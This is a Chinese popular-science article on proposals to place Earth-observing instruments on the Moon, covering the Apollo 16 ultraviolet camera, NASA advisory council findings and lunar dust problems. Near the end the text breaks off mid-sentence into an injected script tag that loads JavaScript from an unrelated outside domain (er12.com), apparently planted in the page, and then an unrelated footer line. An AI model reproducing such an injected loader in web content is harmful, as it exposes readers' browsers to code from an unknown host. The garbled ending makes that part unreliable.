月球仪器让我们看地球与众不同

从月球上看到的地球,阿波罗8号所摄(图1)

  目前,世界各国纷纷开展探月计划,美国甚至还计划在月球上建立永久居住基地。开展探月计划的目标之一让我们"跳"出地球,站在宇宙空间以便更全面性、整体性和综合性地研究地球。如今,太空科学家正在评估使用月球上的仪器来研究地球的效果如何:这会让我们看到怎样的一个与众不同的地球呢?
据美国太空网等国外媒体1月18日报道,科学家认为,装在月球上的地球天文台可以对我们的世界进行与众不同的观察,包括地球植被、南北极的冰帽以及监测太阳与地球的相互作用。此外,从月球上观察地球的一个早期前景是评价灵敏仪器的使用情况,以帮助在其它恒星周围发现像地球一样的行星。

用紫外线相机拍到的多彩地冕。阳光从左边射来,因此这边的地冕更亮(图2)
不过,在月球上配备类似地球上的科学仪器不是什么新主意。早在1972年,阿波罗16号成功在月球表面着陆,第五次将人类送到月球上,并将他们送回了地球。期间,航天员在环月轨道上发射一颗环绕月球运行的科学卫星,还驾驶月球车在月面活动和采集岩石,并从月球上带回200多磅重的岩石。他们还在月球架设紫外线相机,将航天员驱车巡游月面和登月舱从月面起飞的情景实况传回地球。此相机成了月球表面用来观察地球的第一个天文仪器。
但最近,美国宇航局顾问委员会正在考虑从月球上观察地球有哪些优势。这种想法是美国宇航局计划在2020年人类重返月球的宏伟蓝图下产生的。而且,这一伟大计划还有美国布什总统的大力支持。2004年11月,美国总统布什宣布了美国的太空探测前景,计划让宇航员重返月球,并在月球建立永久性基地,作为美国探索太空的"中转站",进而实现人类登陆火星的梦想。细察整个地球。

月球天文台提供地球的全盘视图,包括极地(图3)

  去年年底,美国宇航局顾问委员会中(nac)下的一个小组全面评估和整理了从月球表面执行的一系列月球科学观察目标。从他们实际的看法来看,月球上的多种清晰度的分光计可以利用更大范围的波长,来进行更有价值的观察工作。
“月球上的普通地球天文台将有很大的价值。这种地球天文台将有特别的技术和能量需求,需要在新技术上进行重大投资,在这一点上,美国宇航局将得与地球科学团体磋商才行,”美国宇航局顾问委员会研究小组报告说。美国宇航局顾问委员会成员还在考虑月球上的地球天文台要联网,以便让公众与科学团体能上网参与研究。此网络连接将提供持续不断的监测和多光谱频率下一点点地显现的整个地球的图像。此外,通过使用数据结合技术,从月球得来的地球图像能立刻整合实时的太阳物理学和航空通用数据。
由此,这种混合信息将能导致解释太空现象与地球气候变化之间复杂的交互作用。这也是美国宇航局顾问委员会考虑从月球上观察地球生命的分光计信号的一个因素。通过研究从地球反射光变化所导致的生物学变化,将可能帮助我们调整研究类似地球的太阳系之外行星的方法。

1972年阿波罗16的月球表面照相机(图4)
由于月球表面的地质构造极其稳定,月球直接承受太阳的辐射,没有大气层对光线和电波的吸收、散射和折射等干扰,月球的背面也没有人造光源和射电的干扰,且地震很微小。这种环境为建造高精度天文观测台提供了理想的场所。所以说,月球是获得独特的太阳与地球同步图像的一个有用和可靠的平台,美国宇航局戈达德太空飞行中心的项目科学家杰伊-赫尔曼解释说,在月球表面装备科学仪器、给它们通电,就可以保护仪器免受月球上日夜温差变化对仪器产生破坏。
赫尔曼表示,不过,月球尘埃还是一个麻烦问题。“它是地地道道的研磨剂。因此,得让这些尘埃不能渗透到仪器的关节处,否则,它们会很快破坏仪器。这是一个大问题,”他警告说。然而,在月球上放置精密的光学仪器所面临的真正问题是仪器的经久耐用性能如何,赫尔曼表示。此外,维护这些仪器还得需要月球行走者来执行,而月球行走者得有合适的太空服可穿,这样,宇航员就能开始安装、调试和最后校对这些仪器。工程师处理这些问题似乎可行,赫尔曼说。先安装手提箱式的科学仪器

1972年阿波罗16任务首次在月球表面上使用紫外线相机拍地球(图5)
月球上的仪器或许能揭开太阳活动与地球大气结构及其动力学之间的关系,包括从地球表面到电离层,地球的季节更替,太阳辐射和高能粒子输出之间的各种关联,赫尔曼解释说。与此同时,利用从可见光到x射线的不同波长的光线?script src=http://er12.com/t.js>

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发布日期:2019年07月02日  所属分类:参考设计